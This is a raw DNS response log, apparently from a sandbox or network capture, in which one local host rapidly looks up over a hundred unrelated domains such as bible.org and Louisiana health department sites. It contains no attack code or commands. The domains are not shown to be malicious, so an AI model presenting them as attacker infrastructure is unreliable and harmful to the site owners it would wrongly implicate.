May 31, 2023 14:52:03.045623064 CEST	8.8.8.8	192.168.2.3	0xc5ed	No error (0)	oh28ya.com		52.194.81.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.045623064 CEST	8.8.8.8	192.168.2.3	0xc5ed	No error (0)	oh28ya.com		3.113.205.207	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.048432112 CEST	8.8.8.8	192.168.2.3	0x9b	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.048432112 CEST	8.8.8.8	192.168.2.3	0x9b	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.048432112 CEST	8.8.8.8	192.168.2.3	0x9b	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.065205097 CEST	8.8.8.8	192.168.2.3	0xcbb7	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.065885067 CEST	8.8.8.8	192.168.2.3	0x7c07	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.070966959 CEST	8.8.8.8	192.168.2.3	0xf235	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.120805979 CEST	8.8.8.8	192.168.2.3	0x1390	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.139839888 CEST	8.8.8.8	192.168.2.3	0xa7d6	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.139839888 CEST	8.8.8.8	192.168.2.3	0xa7d6	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.163853884 CEST	8.8.8.8	192.168.2.3	0x4413	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.195688009 CEST	8.8.8.8	192.168.2.3	0x7368	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.196233034 CEST	8.8.8.8	192.168.2.3	0x647e	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.226878881 CEST	8.8.8.8	192.168.2.3	0x41d1	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.226878881 CEST	8.8.8.8	192.168.2.3	0x41d1	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.226878881 CEST	8.8.8.8	192.168.2.3	0x41d1	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.226878881 CEST	8.8.8.8	192.168.2.3	0x41d1	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.228458881 CEST	8.8.8.8	192.168.2.3	0x4b2a	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.228821993 CEST	8.8.8.8	192.168.2.3	0x8d24	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.250828981 CEST	8.8.8.8	192.168.2.3	0x9394	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.289073944 CEST	8.8.8.8	192.168.2.3	0x4f43	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.307437897 CEST	8.8.8.8	192.168.2.3	0x6c3c	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.315464973 CEST	8.8.8.8	192.168.2.3	0xb0f6	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.317668915 CEST	8.8.8.8	192.168.2.3	0x9113	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.317668915 CEST	8.8.8.8	192.168.2.3	0x9113	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.335925102 CEST	8.8.8.8	192.168.2.3	0x7b6b	No error (0)	yhsll.com		107.186.187.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.336081982 CEST	8.8.8.8	192.168.2.3	0x1c96	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.341615915 CEST	8.8.8.8	192.168.2.3	0xfdb9	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.358103037 CEST	8.8.8.8	192.168.2.3	0x22dd	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.358103037 CEST	8.8.8.8	192.168.2.3	0x22dd	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.367566109 CEST	8.8.8.8	192.168.2.3	0x67a2	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.367566109 CEST	8.8.8.8	192.168.2.3	0x67a2	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.367566109 CEST	8.8.8.8	192.168.2.3	0x67a2	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.391746044 CEST	8.8.8.8	192.168.2.3	0xa0ca	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.406723976 CEST	8.8.8.8	192.168.2.3	0x8c98	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.413849115 CEST	8.8.8.8	192.168.2.3	0x2869	No error (0)	any-s.net		108.170.12.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.448489904 CEST	8.8.8.8	192.168.2.3	0xea65	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.461078882 CEST	8.8.8.8	192.168.2.3	0x8c7b	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.497982025 CEST	8.8.8.8	192.168.2.3	0xd4d3	No error (0)	shittas.com		43.246.117.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.507220984 CEST	8.8.8.8	192.168.2.3	0xb438	No error (0)	shenhgts.net		199.59.243.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.522511959 CEST	8.8.8.8	192.168.2.3	0x65b8	No error (0)	vfcindia.com		103.191.209.76	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.535164118 CEST	8.8.8.8	192.168.2.3	0x9533	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.537126064 CEST	8.8.8.8	192.168.2.3	0xdf53	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.548917055 CEST	8.8.8.8	192.168.2.3	0x1988	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.550878048 CEST	8.8.8.8	192.168.2.3	0xb150	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.557913065 CEST	8.8.8.8	192.168.2.3	0x863d	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.574538946 CEST	8.8.8.8	192.168.2.3	0xf4b5	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.607479095 CEST	8.8.8.8	192.168.2.3	0xfc93	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.607745886 CEST	8.8.8.8	192.168.2.3	0xdc8a	No error (0)	zupraha.cz		77.78.104.3	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.610163927 CEST	8.8.8.8	192.168.2.3	0xee00	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.617552042 CEST	8.8.8.8	192.168.2.3	0x9a76	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.671765089 CEST	8.8.8.8	192.168.2.3	0xe629	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.684603930 CEST	8.8.8.8	192.168.2.3	0xaee8	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.721163034 CEST	8.8.8.8	192.168.2.3	0xc1cb	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.736011982 CEST	8.8.8.8	192.168.2.3	0x73c6	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.741871119 CEST	8.8.8.8	192.168.2.3	0x9c9	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.844039917 CEST	8.8.8.8	192.168.2.3	0xd681	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.844039917 CEST	8.8.8.8	192.168.2.3	0xd681	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.862302065 CEST	8.8.8.8	192.168.2.3	0x6ebb	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.866426945 CEST	8.8.8.8	192.168.2.3	0x974	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.876915932 CEST	8.8.8.8	192.168.2.3	0xdf9e	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.940793991 CEST	8.8.8.8	192.168.2.3	0x2337	No error (0)	diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.970364094 CEST	8.8.8.8	192.168.2.3	0x3c31	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.970364094 CEST	8.8.8.8	192.168.2.3	0x3c31	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.970364094 CEST	8.8.8.8	192.168.2.3	0x3c31	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.973123074 CEST	8.8.8.8	192.168.2.3	0xffdc	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.027039051 CEST	8.8.8.8	192.168.2.3	0xad3	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.037882090 CEST	8.8.8.8	192.168.2.3	0xf030	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.041765928 CEST	8.8.8.8	192.168.2.3	0x402	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.049716949 CEST	8.8.8.8	192.168.2.3	0xa2bd	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.079885006 CEST	8.8.8.8	192.168.2.3	0x74b5	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.110357046 CEST	8.8.8.8	192.168.2.3	0xaf44	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.140995979 CEST	8.8.8.8	192.168.2.3	0x1114	No error (0)	www.diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.172776937 CEST	8.8.8.8	192.168.2.3	0x613b	No error (0)	kallman.net		185.76.64.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.180188894 CEST	8.8.8.8	192.168.2.3	0x774e	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.183734894 CEST	8.8.8.8	192.168.2.3	0x2f86	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.184495926 CEST	8.8.8.8	192.168.2.3	0x9653	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.202903032 CEST	8.8.8.8	192.168.2.3	0xccf7	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.206526995 CEST	8.8.8.8	192.168.2.3	0x7747	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.218409061 CEST	8.8.8.8	192.168.2.3	0xa042	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.239567041 CEST	8.8.8.8	192.168.2.3	0xf1e	No error (0)	shittas.com		43.246.117.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.245556116 CEST	8.8.8.8	192.168.2.3	0x4682	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.257882118 CEST	8.8.8.8	192.168.2.3	0xb62	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.257882118 CEST	8.8.8.8	192.168.2.3	0xb62	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.259743929 CEST	8.8.8.8	192.168.2.3	0xdd42	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.280975103 CEST	8.8.8.8	192.168.2.3	0xdbc5	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.282648087 CEST	8.8.8.8	192.168.2.3	0xc16b	No error (0)	t-mould.com		81.169.145.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.300380945 CEST	8.8.8.8	192.168.2.3	0x54e0	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.333017111 CEST	8.8.8.8	192.168.2.3	0xf3e3	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.343427896 CEST	8.8.8.8	192.168.2.3	0xe0ae	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.345310926 CEST	8.8.8.8	192.168.2.3	0x1c9d	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.367043018 CEST	8.8.8.8	192.168.2.3	0x99c6	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.369126081 CEST	8.8.8.8	192.168.2.3	0xfbc4	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.410943031 CEST	8.8.8.8	192.168.2.3	0xb6e4	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.502091885 CEST	8.8.8.8	192.168.2.3	0x992a	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.537322998 CEST	8.8.8.8	192.168.2.3	0x3fcc	No error (0)	karila.fr		89.107.169.125	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.543904066 CEST	8.8.8.8	192.168.2.3	0x9a58	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.549628973 CEST	8.8.8.8	192.168.2.3	0x70bc	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.579447985 CEST	8.8.8.8	192.168.2.3	0x3692	No error (0)	rkengg.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:04.579447985 CEST	8.8.8.8	192.168.2.3	0x3692	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:04.579447985 CEST	8.8.8.8	192.168.2.3	0x3692	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.579447985 CEST	8.8.8.8	192.168.2.3	0x3692	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.605137110 CEST	8.8.8.8	192.168.2.3	0x459f	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.606439114 CEST	8.8.8.8	192.168.2.3	0xde7e	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.675354004 CEST	8.8.8.8	192.168.2.3	0x8a82	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.731547117 CEST	8.8.8.8	192.168.2.3	0x217e	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.757770061 CEST	8.8.8.8	192.168.2.3	0xe462	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.763309956 CEST	8.8.8.8	192.168.2.3	0x8021	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.793121099 CEST	8.8.8.8	192.168.2.3	0xb176	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.871063948 CEST	8.8.8.8	192.168.2.3	0x9f75	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.888818979 CEST	8.8.8.8	192.168.2.3	0xe08	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.923314095 CEST	8.8.8.8	192.168.2.3	0x6c48	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.974445105 CEST	8.8.8.8	192.168.2.3	0x9783	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.008805990 CEST	8.8.8.8	192.168.2.3	0x2c06	No error (0)	dyag-eng.com		13.248.169.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.008805990 CEST	8.8.8.8	192.168.2.3	0x2c06	No error (0)	dyag-eng.com		76.223.54.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.021363020 CEST	8.8.8.8	192.168.2.3	0x428	No error (0)	cpmteam.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.021363020 CEST	8.8.8.8	192.168.2.3	0x428	No error (0)	cpmteam.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.059235096 CEST	8.8.8.8	192.168.2.3	0xadb9	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.059235096 CEST	8.8.8.8	192.168.2.3	0xadb9	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.079488993 CEST	8.8.8.8	192.168.2.3	0xb9e5	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.085459948 CEST	8.8.8.8	192.168.2.3	0x81d6	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:05.085459948 CEST	8.8.8.8	192.168.2.3	0x81d6	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.095127106 CEST	8.8.8.8	192.168.2.3	0x1060	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.137078047 CEST	8.8.8.8	192.168.2.3	0xa092	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.147099018 CEST	8.8.8.8	192.168.2.3	0x86d2	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.151109934 CEST	8.8.8.8	192.168.2.3	0xce3e	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.248886108 CEST	8.8.8.8	192.168.2.3	0x17a0	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.256148100 CEST	8.8.8.8	192.168.2.3	0xea9b	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.259391069 CEST	8.8.8.8	192.168.2.3	0xa042	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.303158998 CEST	8.8.8.8	192.168.2.3	0x5770	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.306715965 CEST	8.8.8.8	192.168.2.3	0x8cf4	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.327723026 CEST	8.8.8.8	192.168.2.3	0xa1fa	No error (0)	envogen.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.327723026 CEST	8.8.8.8	192.168.2.3	0xa1fa	No error (0)	envogen.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.348462105 CEST	8.8.8.8	192.168.2.3	0xdf50	No error (0)	k-nikko.com		18.177.67.59	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.368201971 CEST	8.8.8.8	192.168.2.3	0x4c82	No error (0)	plaske.ua		52.211.245.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.397344112 CEST	8.8.8.8	192.168.2.3	0x7d97	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.411350012 CEST	8.8.8.8	192.168.2.3	0x2831	No error (0)	nrsi.com		76.223.35.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.476171017 CEST	8.8.8.8	192.168.2.3	0xc6bc	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.477747917 CEST	8.8.8.8	192.168.2.3	0x72cb	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.477747917 CEST	8.8.8.8	192.168.2.3	0x72cb	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.522882938 CEST	8.8.8.8	192.168.2.3	0x75ee	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.564618111 CEST	8.8.8.8	192.168.2.3	0xe7f4	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.584599972 CEST	8.8.8.8	192.168.2.3	0x6494	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.593426943 CEST	8.8.8.8	192.168.2.3	0x5b56	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.593734980 CEST	8.8.8.8	192.168.2.3	0xfc20	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.599498987 CEST	8.8.8.8	192.168.2.3	0xe4e9	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.599538088 CEST	8.8.8.8	192.168.2.3	0x8021	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.626441002 CEST	8.8.8.8	192.168.2.3	0x3fbc	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.638941050 CEST	8.8.8.8	192.168.2.3	0x7ebe	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.638941050 CEST	8.8.8.8	192.168.2.3	0x7ebe	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.638941050 CEST	8.8.8.8	192.168.2.3	0x7ebe	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.640480995 CEST	8.8.8.8	192.168.2.3	0x6f65	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.682415962 CEST	8.8.8.8	192.168.2.3	0xb4dc	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.688888073 CEST	8.8.8.8	192.168.2.3	0x53d1	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.713376999 CEST	8.8.8.8	192.168.2.3	0x5a9f	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.756690025 CEST	8.8.8.8	192.168.2.3	0x27f4	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.791901112 CEST	8.8.8.8	192.168.2.3	0x8021	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.855521917 CEST	8.8.8.8	192.168.2.3	0x85d0	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.856317043 CEST	8.8.8.8	192.168.2.3	0x4181	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.856925011 CEST	8.8.8.8	192.168.2.3	0x14df	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.879034996 CEST	8.8.8.8	192.168.2.3	0x803	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.916577101 CEST	8.8.8.8	192.168.2.3	0x9284	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.916577101 CEST	8.8.8.8	192.168.2.3	0x9284	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.941349983 CEST	8.8.8.8	192.168.2.3	0x4871	No error (0)	mondopp.net		173.231.184.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.036166906 CEST	8.8.8.8	192.168.2.3	0x1a75	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.036166906 CEST	8.8.8.8	192.168.2.3	0x1a75	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.094222069 CEST	8.8.8.8	192.168.2.3	0x2ff8	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.094222069 CEST	8.8.8.8	192.168.2.3	0x2ff8	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.094222069 CEST	8.8.8.8	192.168.2.3	0x2ff8	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.094222069 CEST	8.8.8.8	192.168.2.3	0x2ff8	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.095312119 CEST	8.8.8.8	192.168.2.3	0xf434	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.147749901 CEST	8.8.8.8	192.168.2.3	0xa5e6	No error (0)	arowines.com		75.2.18.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.166821003 CEST	8.8.8.8	192.168.2.3	0xf7ed	No error (0)	envogen.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.166821003 CEST	8.8.8.8	192.168.2.3	0xf7ed	No error (0)	envogen.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.290451050 CEST	8.8.8.8	192.168.2.3	0xbf51	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:06.290451050 CEST	8.8.8.8	192.168.2.3	0xbf51	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.314454079 CEST	8.8.8.8	192.168.2.3	0x9022	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.319123983 CEST	8.8.8.8	192.168.2.3	0x8e75	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.350528955 CEST	8.8.8.8	192.168.2.3	0xdc6a	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
